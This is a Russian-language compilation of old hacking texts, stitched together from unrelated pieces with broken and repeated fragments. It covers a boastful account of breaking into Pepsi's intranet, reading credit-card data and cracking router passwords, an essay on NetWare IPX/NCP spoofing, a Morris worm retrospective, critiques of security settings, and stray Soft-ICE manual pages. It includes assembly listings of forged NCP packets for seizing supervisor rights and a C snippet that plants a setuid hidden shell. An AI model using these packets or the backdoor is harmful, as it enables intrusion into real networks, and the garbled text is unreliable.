Мы были поражены когда увидели, что как Anonymous можно войти почти на любой их FTP. Я был просто счастлив, когда увидел что для anonymous там полный доступ. Я имею ввиду что можно и записывать и стирать и т.д. Теперь наши последние сомнения пропали - Мы забрались туда, гда нас не ждали. Поняв это, Лирик подключил свою голову на все 100% и тут началось ! Первое, что он нашел, был файл hosts - файл в котором все IP адреса их роутеров ! потом - так невзначай он наткнулся на 100 килобайтный файл с данными кредитных карточек American Express :-( )!
Я думаю, что это какая-то точка компании Pepsi записала все дневные Transactions в этот файл и закинула на ftp. потом оказалось, что там небыло exp.dates но сам факт - оставался фактом ! Конечно - это было бы очень просто :) Я нашел рекламный видеоклип, который мне понравился, кстати ! это был только проект компании, получается, что я увидел его первым :) После этого мы нашли файл, где лежат зашифрованные пароли их роутеров. пароли было легко узнать имея под рукой расшифровщик паролей для cisco :) . И вот он ! этот переломный момент ! я на головном xxx.xxx.1.1 роутере сети globalone ! wow ! круто !!! вот это хак подумали мы ! У нас появился план, нужно дать роутеру наш IP в сети и он будет роитить их народ не на secute server а к нам в руки :). Наступило темное время суток... На следующий день, хорошенько выспавшись я набрал ситу, ввел номер пада и с ужасом обнаружил, что нашу лазейку прикрыли :-( ) ! неееет воскрикнул я ! не может быть . но как я не пробовал - пад был закрыт.
Возможно у вас появится законный вопрос - Какого хрена рассказывать про Пепси, когда все уже прикрыли ?
На этом примере ( я надеюсь ) мы сумели показать, что
1) даже intranetы интересны для исследования
2) сканить сети на предмет адресов стОит
3) правильная защита локальной сети состоит не только в том, чтобы купить супер-навороченный firewall комплекс, но и предпринять меры ограничения доступа в самом сети.
3а) каждому представителю локального подразделения надо выделять аккаунт на центральном ftp сервере ( на ftp.somers.intl.pepsi.com вся информация закачивалась под anonymous и размещалась в /incoming/russia, /incoming/hong)
4) все можно вполне удобно изучать из windowz 95 :)
5) полезно посмотреть, как устроен роуминг в больших intranet ( если повезет, в следующий раз будет обзор по Microsoft Intranet :), на Пепси он устроен вот так
6) админы ленивы и дают себя ломать
ПОДДЕЛКА АДРЕСОВ
В локальных сетях типа Ethernet пакеты IPX обычно передаются с использованием кадров Ethernet_802.2 или Ethernet_802.3, в заголовках которых основной информацией являются MAC-адреса станций получателя и отправителя. Адрес отправителя после посылки никем не проверяется, так как это непростая задача. Даже в том случае, если адрес отправителя кем-либо анализируется (например, коммутатором), подставить чужой MAC-адрес не составит труда. Почти все сетевые платы позволяют сделать это как с помощью программных средств Novell (в net.cfg), так и на низком уровне. А ODI-драйвер ODIPKT позволяет самостоятельно сформировать весь пакет и послать его как есть.
Таким образом, пакет, совершенно идентичный пакету администратора можно передать как на уровне Ethernet, так и на уровне IPX. Это означает, что протокол IPX сам по себе совершенно не защищен от посягательств на целостность сети. Следовательно, нарушить работоспособность системы может практически любой пользователь сети (не говоря о профессионалах).
К примеру, если был послан пакет с полем получателя FF,FF,FF,FF,FF,FF (всем станциям в текущем сегменте сети) в кадре Ethernet, то независимо от адреса отправителя его обязательно получит адресат, который указывается в поле "Адрес станции назначения" заголовка IPX-пакета. Более того, если некто (злоумышленник) самостоятельно заполнит IPX-пакет, то он может указать чужой адрес отправителя (администратора сети); такой пакет обязательно дойдет до адресата (сервера) и будет им обработан тем же образом, что и все остальные пакеты администратора. Такой процесс называется по-английски spoofing, а по-русски "подделка адресов".
На уровень выше IPX находится протокол NCP (NetWare Core Protocol), он использует IPX в качестве транспортного протокола, но предусматривает, в отличие от IPX, некоторую степень защиты. NCP используется практически при всех сетевых операциях в сети NetWare; с его помощью передаются файлы и реплики между серверами, осуществляется администрирование системы и т.
д. На Рисунке 2 изображена структура заголовка пакета NCP.
Рисунок 2.
Структура заголовка пакета запроса NCP.
Пакеты на уровне NCP неосведомленному человеку подделать несколько сложнее, поскольку необходимо знать номер соединения администратора с сервером. Однако проблема эта вполне решаема благодаря таким программам, как userlist (в NetWare 3.x) и nlist (в NetWare 4.x) или системным функциям оболочки рабочей станции. Остальная информация может быть получена из других источников, к примеру из программы LANalyzer for Windows (фирмы Novell), которая позволяет перехватывать все проходящие мимо рабочей станции пакеты и затем расшифровывает каждое их поле (см. Рисунок 3). Так же можно использовать программу NetXRay (компании Cinco Networks), но, поскольку она написана не Novell, полной гарантии расшифровки пакетов нет. Правда, для использования этих двух программ необходимо иметь сетевую плату, поддерживающую режим приема всех пакетов (promiscuous mode). Большинство новых сетевых плат могут работать в этом режиме, например все сетевые платы компании 3Com.
Рисунок 3.
Novell LANalyzer for Windows.
Таким образом, взломщик сети может узнать всю необходимую информацию о пакете, кроме поля "порядковый номер пакета", но и тут особых проблем не будет. Это поле было введено для обеспечения гарантированной доставки пакетов. При посылке каждого пакета оно увеличивается на единицу, и, если пакет не дошел, он посылается снова. Если вклиниться в обмен пакетами между сервером и клиентом и тем самым увеличить на сервере счетчик клиентских пакетов, то клиент просто "повиснет", т. к. он не будет знать нового значения этого счетчика и снова попытается послать пакет с неправильным номером. Сервер же, получая запрос, проверяет адрес станции, адрес сети, сокет, номер соединения и порядковый номер пакета. Если какое-либо из этих значений не соответствует ожидаемым, то он отказывается выполнять запрашиваемую операцию и не посылает ответ.
Поддержание системы в разумном порядке.
Системы со всеми инсталлированными патчами, отключенными неиспользуемыми сервисами существенно меньше подвержены разрушению, с разумно ограниченным доверием ;-)
Подмена программ, модификация библиотек.
Программы, имеющие sticky-bit или часто выполняемые администратором системы могут быть модифицированны для внесения изменений в систему при выполнении администратором. E.g: .... if( !geteuid()) chmod("/var/tmp/.hidden_shell", 0x4555); ....
Аналогичный кусочек может быть вставлен в одну библиотек, например libc. Библиотека libc.a разбирается на обьектные файлы. Необходимая функция модифицируется и компилируется новая динамическая библиотека.
Подмена программ.
Замена программ исправленными версиями используется для маскировки своей работы в системе, например, запуска ломалки паролей. Программы изменяются так что бы не показывать активность определенного пользователя, запускаемых им процессов, использование дискового пространства. Наиболее известным из пакетов программ для замены системных утилит является RootKit. {RootKit SunOS, RootKit Linux}
ПОДПИСЬ ПАКЕТОВ
Начиная с версии 3.11 Novell улучшила систему безопасности NetWare за счет введения подписей пакетов (сигнатур). Для каждого пакета создается уникальная сигнатура, которую очень сложно подделать при посылке чужого NCP-пакета. Подпись представляет собой 8 байт, дописываемые в конец пакета. При приеме пакета сервер анализирует сигнатуру на предмет того, что пакет пришел именно от нужного сервера или станции и не был подставлен третьей стороной. С версии 3.12 и выше подпись стала частью системы.
Подпись пакетов имеет четыре уровня защиты (от 0 до 3). К примеру, при минимальном (нулевом) уровне защиты сервер не подпишет пакеты, даже если этого требует рабочая станция. Первый уровень предполагает, что сервер будет использовать подпись только по требованию рабочей станции. При втором уровне сервер "попросит" станцию включить подпись, и если та этого сделать не сможет, то обмен пакетами будет осуществляться без подписи; в том случае, если на сервере поставлен максимальный уровень (третий), то работать без подписи пакетов он не будет.
Теоретически сигнатура обеспечивает относительно безопасную работу в сети. Правда, злоумышленник по-прежнему имеет возможность просто следить за проходящей мимо информацией и даже сделать копию большей ее части.
При всей кажущейся выгоде использования подписи пакетов существуют некоторые проблемы.
В документации Novell по подписи пакетов присутствует фраза, которая по-русски звучит следующим образом: "Если у вас слишком медленно работает сеть или вы вообще не можете подсоединиться к серверу, убедитесь в том, что на рабочей станции отключена подпись пакетов и на сервере поставлена 1-я сигнатура".
На практике, при использовании подписей пакетов, скорость работы в сети может снизиться на 10-200% (это зависит от конфигурации рабочих станций, сервера и сети), поэтому большинство администраторов сетей предпочитают вообще не ставить подпись или ставить ее только на своем компьютере (правда, потом обидно становится - все работают быстро, а сам медленно...).
Если у вас на сервере стоит поддержка протокола NetBIOS, то следует знать, что он не защищен подписью пакетов, т. к. инкапсулируется в IPX и пока не поддерживает NCP.
Существует еще ряд пакетов, не подписываемых сигнатурой. Например, при удаленной загрузке рабочих станций подпись пакетов не применяется, и, следовательно, можно сделать так, что станция загрузится не с сервера, а с другого компьютера. Если данный компьютер стоит в том же сегменте сети, что и рабочая станция, то сделать это не составит большого труда, а если в другом, то несколько сложнее, но все же возможно. После такой загрузки пользователь подсоединится к настоящему серверу и не заметит, что пароль, который он набирал, уже записан к кому-то на диск или в записную книжку...
Еще один тип пакетов, не имеющих подписи, - SPX. Это протокол передачи данных с гарантированной доставкой пакетов. Пакеты SPX передаются по протоколу IPX. Данный протокол используется некоторыми приложениями, например программой rconsole, позволяющей получить удаленный доступ к консоли сервера. По поводу этой программы в сети Internet уже было много дискуссий. Дело в том, что пароль доступа к консоли передается открыто и никак не шифруется. Следовательно, перехватив поток данных между компьютером администратора сети и сервером, можно получить и этот пароль, которого, вполне вероятно, будет достаточно для последующего получения прав на всю систему в целом.
Последствия и уроки
Реакция на Червя была впечатляющей. По словам Юджина Спаффорда, для всего компьютерного сообщества того времени это был огромный шок. Нет, в принципе, все понимали, что такое возможно и даже неизбежно. Было уже немало инцидентов, связанных со взломом. Но никто и представить не мог, что одна атака выведет из строя каждый десятый компьютер в Сети...
Пресса тоже отреагировала. Насколько мне известно, это единственная в истории компьютерная программа, потеснившая на первых полосах материалы о президентских выборах в США. Впрочем, преподносить, с точки зрания массовой прессы, было нечего. О Черве поговорили и забыли.
Итак, Червь был пойман, заплаты выпущены и поставлены, сам Червь дизассемблирован и проанализирован.
Закончилась реакция техников, началась реакция правящих кругов. Первым отозвалось Министерство Обороны. (Известно, что Арпанет был создан именно там).
Вердикт был краток и очевиден: "Засекретить!". Впрочем, секретить было поздно, совсем поздно. Единственная попытка что-либо сделать заключалась в том, что информация о возможных уязвимых местах операционных систем получила тот же уровень секретности, что и вычислительные центры, в которых они установлены. Единственным результатом такой меры явилось... полное выключение американских программистов из дискуссий об этих проблемах. Так что, подобная политика на практике проводилась в жизнь “время от времени”. Впоследствии, как говорят, она была заменена на что-то более осмысленное.
Многие институты на несколько недель и даже месяцев отключились от Интернета. Администраторы, не представляя о реальных масштабах опасности, сочли за благо перестраховаться. Когда несколько недель спустя была предпринята попытка взлома одного из компьютеров Милнета, гейт между Милнетом и Интернетом был закрыт. Мотивировалось это не возможным нарушением безопасности, а экспериментами, тренировками... Короче, “плановой аварией канализации”.
Однако, Интернет уже встал на коммерческую основу и рос неудержимо. Всем, кто был сколько-нибудь компетентен в вопросах безопасности, было понятно, что засекречивание лишь ухудшит положение.
Издания типа "Phrack" или "2600". отреагировали на случившееся с похвальной скоростью: от информации об изготовлении самодельных бомб и междугородних звонков за счет ближнего своего они тотчас переключились на проблемы взлома Интернета. Знания о том, как взломать удаленный компьютер распространялись не столь быстро, как Червь, но так же неудержимо.
Наиболее разумной мерой противодействия взлому явилось образование CERT (Computer Emergency Responce Team - группа немедленного реагирования по компьютерам) Это был консультативный орган, не обладавший никакими официальными полномочиями. Однако, по сей день он действует и является признанным авторитетом в деле поддержании безопасности компьютеров. В настоящее время CERT принимает сведения о возможных дырах и взломах в системе и публикует рекомендации по их профилактике, учитывая особенности конкретной операционной системы. Вскоре таких организаций образовалось несколько.
Кроме того, были созданы списки рассылки и news-группы, посвященные различным аспектам безопасности. Любой уважающий себя хакер и системный администратор регулярно читают эти конференции и списки рассылки, потому что отставать от жизни нельзя. Несколько месяцев назад после обнаружения достаточно серьезной дыры в популярном pop3-сервере (pop3, Post Office Protocol, позволяет кдаленным пользователям забирать свою почту с сервера) на множество Интернет-узлов обрушился настоящий шквал попыток взлома. В отдельные дни я наблюдал 5 - 6 таких попыток только на своем, достаточно малоизвестном, сервере.
В чем же состоят уроки моррисовского Червя, актуальные по сей день? К чему пришло компьютерное сообщество за десять лет? Что изменилось, а что осталось неизменным?
В любом программном обеспечении могут быть ошибки, грозящие возможностью удаленного взлома. Сегодня, десять лет спустя, мы наблюдаем настоящий взрыв активности троянских коней, типа Back Orifice, NetBus и десятков (сотен? тысяч?) им подобных, с успехом компенсирующие невозможность удаленной работы под Win'95.
Интернет будет расти. Со временем, все больше и больше людей и компаний будут зависеть от Интернета. Средняя же квалификация пользователей будет, увы, падать.
Простенькая программа, внедрающаяся в популярный irc-клиент mIRC, по оценкам, приведенным в bugtraq (http://www.geek-girl.com/bugtraq/1998_4/0016.html), захватила примерно пятнадцать тысяч компьютеров, дав ее автору возможность полного управления "трофеем". Таким образом, один хакер получил доступ к большему числу машин большей производительности, чем мог когда-то получить Моррис.
Пользователь не хочет знать ничего о компьютере. Что ж, он имеет на это право. Но кто-то должен следить за безопасностью подключения, правда? Все только выиграют, если в скором времени Интернет-провайдеры станут предлагать не только подключение к Интернету, но и услуги системного администратора.
Сам же системный администратор системный администратор обязан быть бдителен, должен постоянно следить за безопасностью компьютеров в своей зоне ответственности. Впрочем, увы, сплошь и рядом это не так. По некоторым данным, около 20% компьютеров уязвимы к простым и хорошо известным способам атаки, причем эта цифра как минимум не уменьшается - это прямая вина админа. Выживает только параноик. Be quick - or be dead.
Она описывает различия между Руководством
Введение
Эта записка к выпуску - приложение к Руководству Пользователя Soft-ICE 2.0.
Она описывает различия между Руководством Пользователя Soft-ICE 2.0 и выпуском
Soft-ICE 2.5. Когда эта записка сносится на расширения или изменения,
произведенные в возможностях, описанных в Руководстве Пользователя Soft-ICE
2.0, заголовки записки включают, в скобках, номер главы с соответствующей
информацией в Руководстве Пользователя Soft-ICE 2.0. Пожалуйста, прочтите и
Руководство Пользователя Soft-ICE 2.0 и эту записку к выпуску.
Описание Продукта (1.1)
К выпуску Soft-ICE 2.5 было добавлено много возможностей.
Принципиальные особенности - то, что Soft-ICE:
* интегрируется с BOUNDS-CHECKER.
* читает информацию о символах и исходных
текстах прямо из .EXE-заголовка языков
Microsoft и Borland.
* имеет поддержку оверлеев для Microsoft Link и
Pocket Soft .RTLink/Plus.
* может иметь две одновременно загруженные
символьные таблицы.
* обеспечивает дизассемблирование 32-битных команд
386 и просмотр 32-битных регистров.
* является совместимым с Microsoft C версии 6.
* обеспечивает дизассемблирование команд математического сопроцессора.
* позволяет загружать драйверы устройств и T&SR-программы в верхнюю
память
* включает несколько дополнительных команд:
BOUNDS, TABS, STACK, SERIAL.
* включает расширения к некоторым существующим
командам: R, FILE, SHOW, BPX, G.
* имеет поддержку VCPI.
* обеспечивает удаленную отладку
* имеет поддержку 80486.
* позволяет настраивать цвета окна Soft-ICE.
Дискеты (2.1)
В каталоге дискеты Soft-ICE 2.5 теперь будут находиться следующие
У Soft-ICE есть улучшенный режим виртуализации видео,
который может виртуализировать много специальных
графических режимов. Включите этот режим, введя WATCHV ON.
См. описание команды WATCHV для больших подробностей.
Для несовместимых видеоконтроллеров и определенных
неизвестных режимов вам может быть придется использовать
альтернативный монитор. См. команду ALTSCR.
Машина блокируется, когда вы находитесь в Soft-ICE или перемещаете окно
Soft-ICE.
У Soft-ICE на некоторых клавиатурах есть проблемы
с таймером. Используйте выражение NOLEDS в S-ICE.DAT.
Это предотвратит посылку Soft-ICE'ом на клавиатур
команд LED.
Супервизор кусает локти.
"Отсутствие механизмов автоматического запрещения аутентификации после нескольких неудачных попыток и временного закрытия бюджета (account) пользователя ... может при использование простых средств аутентификации привести к подбору параметров аутентификации" [1].
У сетевой ОС Novell Netware (пользующейся репутацией достаточно защищенной ОС: по крайней мере, Novell Netware 4.11 - единственная ОС широкого назначения, имеющая американский сертификат по классу защищенности для сетевых
ОС) среди настроек есть пункт "Intruder Detection" (обнаружение нарушителей). Это громкое название на самом деле ни что иное, как регистрация на сервере неоднократных попыток ввода неправильного пароля. Правильно ли это с точки зрения компьютерной безопасности? Безусловно, регистрация попыток неверной аутентификации - обязательное требование к защищенным вычислительным системам, упоминаемое как в импортных, так и отечественных нормативных документах. Однако фирма Novell пошла несколько дальше - и логику тут легко понять - действительно, почему бы не просто фиксировать такие попытки, но и не пресекать их средствами ОС? Пусть хакер пытается подобрать пароль к вашему ресурсу (account) в системе, тогда через N1 попыток система выдает сообщение об попытке взлома, а через N2 - вообще блокирует
дальнейшие попытки ввода паролей (в настройках Novell Netware это называется "Lock account after detection"). Логично? Безусловно. Правильно? А вот тут стоит чуть-чуть задуматься о том, что же означают слова "блокировать дальнейшие попытки ввода паролей". А означают они буквально следующее - в течение некоторого времени t ("Length of account lockout") никакой пароль не будет восприниматься системой, ваш ресурс будет заблокирован (disabled). Иначе говоря, в течение этого времени t даже вам, законному пользователю, не дадут зарегистрироваться в системе из-за действий хакера.
В настройках Novell Netware 3.x по умолчанию N1=3, N2=7, t=15 минут. И вот теперь представим, что хакеру необходимо обезопасить свою новейшую атаку на Novell Netware от возможных контрдействий супервизора (замечу, супервизора, беспокоящегося о проблемах безопасности, поэтому он включил опцию "Intruder detection").
Он вводит 7 неправильных паролей супервизора, и в течении 15 минут может спокойно реализовывать свою основную атаку, супервизору останется лишь кусать локти. Самое интересное, что блокировка ресурса супервизора приводит к невозможности ни удаленно подключится к консоли с помощью RCONSOLE, ни разблокировать клавиатуру на консоли (опция в утилите MONITOR.NLM), т.е. он не может помешать атаке даже с консоли сервера.
Итак, парадоксальное свершилось - администратор, настроив свою систему на потенциально больший уровень безопасности, оказался более беззащитен перед новой угрозой, чем если бы он этого не делал! Да, здесь налицо видны недостатки того решения, что предложила фирма Novell - можно было блокировать дальнейшие попытки ввода пароля только с одного сетевого адреса (т.е. конкретной машины), можно было разрешать доступ даже к заблокированному ресурсу, если все же введен правильный пароль, можно было вообще решать проблему удаленного подбора паролей введением увеличивающейся задержки на отклик при вводе очередного неправильного
пароля - но ведь сделано именно так и, если не углубляться, кажется, что правильно!
Меняйте пароли чаще!
"В случае однократной регистрации ... от пользователей необходимо потребовать, чтобы они регулярно меняли свои пароли" [2].
Опять Novell Netware. Известно, что все пароли пользователей хранятся в ней на сервере в виде 128-битных значений, получаемых в результате применения хэш-функции к паролю. Знание этого хэш-значения злоумышленником автоматически приводит к возможности зарегистрироваться на сервере под именем того пользователя, чье хэш-значение он знает. (Это может быть сделано с помощью специальной слегка подправленной программы login, а также путем генерации "псевдопароля" из известного хэш-значения. Здесь используется тот факт, что хэш-функция, применяемая во всех версиях этой системы, является очень нестойкой и допускает
очень быстрое вычисление коллизий (т.е. последовательностей, которые будет на выходе давать одно и то же хэш-значение) [3]).
Именно поэтому хэш-значение тщательно охраняется, и не передается по сети в открытом виде при аутентификации пользователя на сервере. Вместо этого используется стандартная схема "запрос-отклик": сервер посылает случайную последовательность, рабочая станция шифрует ее с вычисленным хэш-значением введенного пароля и отсылает обратно, сервер делает то же самое с имеющимся у него хэш-значением, в случае совпадения двух строк пользователь успешно регистрируется в системе. Но для этого как-то хэш-значение должно оказаться на сервере? Нетрудно понять, что по крайней мере оно должно попадать туда при смене пароля пользователем. А раз так, то злоумышленник, чтобы перехватить хэш, должен дождаться, пока пользователь захочет поменять свой пароль2. А это, к несчастью для него, может произойти в неопределенный момент времени. Если только он не знает этого момента заранее или ... не сможет заставить пользователя сделать это. Вспомним первый пример. Высока вероятность того, что пользователь (или супервизор), узнав о многочисленных попытках взлома своего ресурса (или обнаружив его заблокированным) захочет поменять свой пароль. (Впрочем, если он немного подумает, то он не попадется на эту удочку, и скорее всего попросит администратора отключить блокировку его ресурса в случае "обнаружения нарушителя").
Но на помощь кракеру может прийти другое мощное средство повышения безопасности системы Novell Netware (имеющееся, впрочем, почти во всех ОС, претендующих на защищенность), а именно "заставлять периодически менять пароль" (force periodic password changes). Зная, что администратор системы "повысил" ее защищенность путем периодической обязательной смены паролей, злоумышленнику остается только дождаться момента плановой смены паролей, и золотой ключик, т.е. хэш-значение супервизора у него в кармане. Этот пример я считаю весьма показательным.
Новый "нюк" (nuke) - система аудита Windows NT.
"Данные протокола аудита могут быть утеряны из-за нехватки пространства памяти, выделенного для их хранения, сбоя системы..." [1]
Как известно, одна из версий Windows NT была сертифицирована по американским требованиям С2 для своего несетевого
варианта. И хотя эта сертификация вызывает много вопросов, существует утилита C2Config, которая формально позволяет настроить Windows NT в соответствии с требованиями С2. В частности, эти требования распространяются и на подсистему регистрации и учета (audit). Утилита C2Config предлагает следующую настройку аудита для повышения безопасности всей системы:
"Очистка протокола событий" (Event Log Wrapping) - "Не перезаписывать события (очищать вручную)" (Do Not Overwrite Events (Clear Log Manually).
Опять все кажется совершенно логичным. Да, администратор должен просмотреть все, что отражено в протоколе, после чего этот протокол можно стереть. Уничтожаться события в защищенной системе автоматически не должны, иначе регистрация атаки может оказаться невозможной.
Однако смотрим следующий пункт меню: "Останавливать систему когда протокол безопасности заполнен" (Halt system when security log is full). Настройка по С2, естественно, "Да". С точки зрения подсистемы аудита это, безусловно, правильно - протокол должен сохраняться всегда. А вот с точки зрения работоспособности системы?
Итак, представим себе ленивого, но педантичного администратора, настроившего полностью свою систему по требованиям С2, после чего пребывает в уверенности, что теперь-то ему ничего не угрожает. Тогда хакер реализует массированную "бомбежку" этой системы однотипными запросами, которые система не считает очень опасными, но все же заносит в протокол. И вот рано или поздно, в зависимости от емкости жесткого диска, протокол переполняется и система встает.
Итак, многочисленными, но безвредными для системы запросами ее удалось "повесить". Зачем вам "нюки", господа кракеры, подарите ненавистному администратору утилиту C2Config!
Что самое забавное, в рекомендациях ВМФ США о безопасной инсталляции Windows NT 4.0 [4] пункт об остановке системы при переполнении протокола событий не рекомендуется разрешать! Что ж, здравомыслие иногда торжествует.
Чуть-чуть другой вариант отказа в обслуживании, связанный с "параноидальным" использованием системы аудита, состоит в том, что на атакуемую систему массировано посылается шторм запросов, каждый из которых должен быть отражен в протоколе, и система ничем другим не может заниматься, кроме как дописывать в файл все новые и новые события.
Пароль больше - кракеру проще.
"... должны осуществляться идентификация и проверка подлинности субъектов доступа при входе в систему по идентификатору (коду) и паролю временного действия длиной не менее восьми буквенно-цифровых символов" [5].
Человеческий фактор в криптосистемах (как, впрочем, и во всем остальном) играет особую и весьма заметную роль [3]. В частности, пользователи очень любят выбирать короткие и осмысленные пароли. Применив отрицание к последнему утверждению, получим, что пользователи не любят выбирать длинные или бессмысленные пароли. Ну а если некоторые характеристики паролей контролируются системой и "слабые" пароли не пропускаются? Проще всего проконтролировать длину пароля, а также совершить некоторые элементарные проверки - на совпадение с именем пользователя, с уже использованным паролем и т.п.
Итак, предположим, администратор установил нижнюю границу длину пароля в N символов. И недолго думая, взял и поставил N=15, полагая, что теперь-то ему атаки с перебором паролей совершенно не страшны.
Что же сделает пользователь? Пароль из 6 символов типа "A95jwh" он еще в состоянии запомнить, а вот требуемый от него 15-символьный "Rg27#kjs$Zyx83a" он уже не запомнит никогда (тем более, если он у него не один и время от времени меняется). Итак, у него есть два пути:
взять бессмысленный пароль и прикрепить его себе на монитор (варианты - системный блок, спрятать в ящик стола);
ввести пароль, который он в состоянии запомнить.
А вот последних паролей не так много. В 80% случаев это будут пароли типа "123456789012345", "aaaaaaaaaaaaaab", "svetasvetasveta", "qwertyuiop[]asd", "nuvy,blin,daete", "papauvasisilenv" - т.е. простые повторяющиеся комбинации, рядом стоящие символы на клавиатуре, припев популярной песенки и т.п. А такие пароли кракерам может быть легче вскрыть, чем бессмысленные 6-символьные.
Совершенно очевидно, что если система будет требовать от пользователя не только длинный, но и бессмысленный пароль, то вот тут-то он точно повесит его на монитор. Или еще хуже (хуже - потому что пароль на мониторе хотя бы может увидеть администратор и отругать его) - запишет его в файл, а в AUTOEXEC.BAT пропишет команду:
login
Последний аспект коварства длинных паролей - их труднее набирать без ошибок. Ошибся несколько раз - и ... см. пример 1.
Шифрование сетевого трафика.
"К программным методам защиты в сети Internet можно отнести прежде всего защищенные криптопротоколы, с использованием которых появляется возможность надежной защиты соединения" [6].
Важнейшей компонентой защиты распределенных вычислительных систем является шифрование информации, критичной к угрозе раскрытия, которая передается по открытым каналам связи (например, Internet).
Рассмотрим вероятность успеха одного подвида атаки, направленного на отказ в обслуживании. Он "состоит в передаче с одного адреса такого количества запросов на атакуемый объект, какое позволит трафик (направленный "шторм" запросов)" [6].
Допустим, что без использования методов шифрования трафика (т.е. без защиты от угрозы раскрытия), порог "шторма", при котором атакуемая система ничем другим не занимается, кроме как обрабатывает все новые и новые "плохие" запросы (и для "хороших" запросов эта система будет отказывать в обслуживании), равняется N запросов в секунду3. Вполне вероятно, что для хакера это N при низкопропускных каналах связи или значительной удаленности его от цели атаки будет недостижимым.
Теперь рассмотрим систему, защищенную от угрозы раскрытия применением методов шифрования. (Рассуждая с точки зрения эффективности, совершенно очевиден тот факт, что какими бы быстрыми не были применяемые криптографические алгоритмы, пропускная способность такой системы всегда будет меньше (обычно в 2-5 раз), чем системы без шифрования - т.к. пакеты нужно зашифровывать и расшифровывать). В этом случае хакер может несколько изменить свою атаку на шторм "псевдошифрованными" запросами. Допустим, криптографические алгоритмы вполне совершенны, и хакер не может подделать зашифрованный пакет так, чтобы он воспринимался как правильный4. Но он вполне может подделать пакет так, чтобы он проходил первую (быструю) проверку "по внешнему виду" и поступал в процедуру расшифровки. И вот только она сможет его отвергнуть, расшифровав. Теперь уже совершенно очевидно, что система сможет обрабатывать значительно меньше запросов в секунду, чем N, из-за необходимости их расшифровки. А такое снижение N (до 2 порядков) вполне может привести к тому, что для хакера оно станет достижимым!
Проверка файлов.
Разумным решением является сделать назависимый список системных файлов с их атрибутами и контрольными суммами. Этот список создается после инсталляции новой системы и корректировки ее с помощью aset (SUNWast) или 'fix-modes' by Casper Dik. Проверка файлов в системе можно производить по cron или постоянным процессом с низким приоритетом. Контрольные суммы вычисляемые /bin/sum не являются надежной гарантией безопасности, т.к. легко подбираются. Можно порекомедовать для этих целей MD5. Существует ряд продуктов различных фирм, позволяющих просматривать систему на предмет "странных" файлов, дат, атрибутов.
РАСПЕЧАТКА 1 - ФОРМАТ ПАКЕТА ДЛЯ ПОЛУЧЕНИЯ ПОЛНОМОЧИЙ
; ------------------------ уровень Ethernet --------------------- db -1,-1,-1,-1,-1,-1 ; Адрес получателя db 00,20h,0afh,089h,022h,0afh ; Адрес отправителя db 01,48h ; Длина пакета ; ---------------------- Заголовок пакета IPX ------------------- dw 0ffffh db 01,47h ; Длина IPX-пакета db 0 db 17 db ?,?,?,? ; Сеть получателя db 0,0,0,0,0,1 ; Адрес получателя db 04,51h ; Сокет получателя db ?,?,?,? ; Сеть отправителя db ?,?,?,?,?,? ; Адрес отправителя db ?,? ; Сокет отправителя ; ---------------------- Заголовок NCP -------------------------- db 22h,22h db 48 ;(0-256) ; Порядковый номер db 24 ;(подставляется) ; Номер соединения db 4 db 0 db 68h db 2 ; ------------------------- Данные NCP -------------------------- dd -1 dd 514 S1_2: dd offset S1_1 - offset S1_2-4 dd 0 dd 9 dd 0 dd 0 dd 0 SUP_ID: db 67h,02h,00,06h ; Идентификатор супервизора dd 1 dd 5 dd 34 db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0 db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0 dd 0 dd 1 ; Имя пользователя (каждый символ в формате - 'символ,0') и его длина : dd 8 db '3',0,'1',0,'0',0,'7',0 S1_1:
РАСПЕЧАТКА 2 - ДАННЫЕ NCP-ПАКЕТА ДЛЯ ПОЛУЧЕНИЯ ПОЛНОМОЧИЙ В СЕТИ NETWARE 4.X
; -------------------Данные NCP - Уровень NDS ------------------- dd -1 dd 514 So_2: dd offset So_1 - offset So_2+2 ; Длина сообщения dd 0 dd 9 dd 0 dd 0 dd 0 ID db ?,?,?,? ;ID of [Root] dd 1 dd 2 dd 8 db 'A',0,'C',0,'L',0,0,0 dd 1 So_3: dd So_1-So_3 ;Длина ACL dd 30 db '[',0,'E',0,'n',0,'t',0,'r',0,'y',0,' ',0 db 'R',0,'i',0,'g',0,'h',0,'t',0,'s',0,']',0 dd 0 dd 26 ;Длина полного имени So_1: db '3',0,'1',0,'0',0,'7',0,'.',0,'I',0,'N',0,'F',0 db '.',0,'T',0,'S',0,'U',0 dd 1Fh ;Все права
Так что же получается? Не
Так что же получается? Не надо менять свои пароли? Не надо использовать аудит? Не надо шифровать трафик? Или же сформулированный принцип "неповышения вероятности других угроз" невыполним? Я думаю, выполним. Просто при каждом решении, направленным на борьбу с некоторой угрозой, надо тщательно проанализировать, как это решение скажется на других угрозах. И, мне кажется, всегда можно найти более правильный вариант реализации решения. Фирме Novell надо было запрещать идентификацию при подборе паролей только с определенного сетевого адреса (или, еще лучше, всегда разрешать идентификацию с некоторого безопасного адреса). Администратору надо было поставить ограничение на длину пароля в 6 символов и объяснить, как придумывать и запоминать неосмысленные пароли. Регистрацией некоторых событий в протоколе придется жертвовать, если он переполнен и если безотказность системы важна. При реализации системы шифрования пакетов надо придумать некую схему, которая позволяла бы отвергать пакет без его (полной) расшифровки, сведя к минимуму количество необходимых для этого машинных операций.
Других обнадеживающим фактом я считаю, что все приведенные примеры не приводили к катастрофическим атакам, и, надеюсь, их не появится в будущем.
1 Вот один из последних, упоминаний о котором я не встречал. Windows NT можно настроить так, чтобы она не надоедала своим требованием нажать Ctrl+Alt+Del и ввести пароль, а делала это сама - например, с помощью программы Autologon Марка Руссиновича. Но при этом имя пользователя и его пароль будут хранится в реестре в открытом виде! Нужно ли говорить о том, что реестр иногда может быть просмотрен удаленно, а без установки Service Pack 3 это делается вообще элементарно!
2 Знатоки Novell Netware не преминут меня подловить, сказав, что при смене пароля новое хэш-значение шифруется старым, и перехват его ничего не даст. А на это возражу, что в некоторых случаях, а именно, если пароль меняет супервизор через программу SYSCON, старое значение пароля у него не спрашивается.
3 Эксперименты показывают, что для компьютера класса Pentium/166 это число равно порядка 10000. Причем Windows NT (с установкой даже Service Pack 4) при шторме такой силы сбрасывалась в "синий экран".
S-ICE
РАЗДЕЛ I -- Изучение Soft-ICE
ГЛАВА 1
1.1 Описание Продукта
Soft-ICE - инструмент отладки программного обеспечения, который обеспечивает
возможности отладки на аппаратном уровне для отладчиков PC DOS и MS DOS.
Soft-ICE использует защищенный режим 80386, чтобы запускать DOS в виртуальной
машине. Это дает Soft-ICE полный контроль над окружением DOS. Soft-ICE
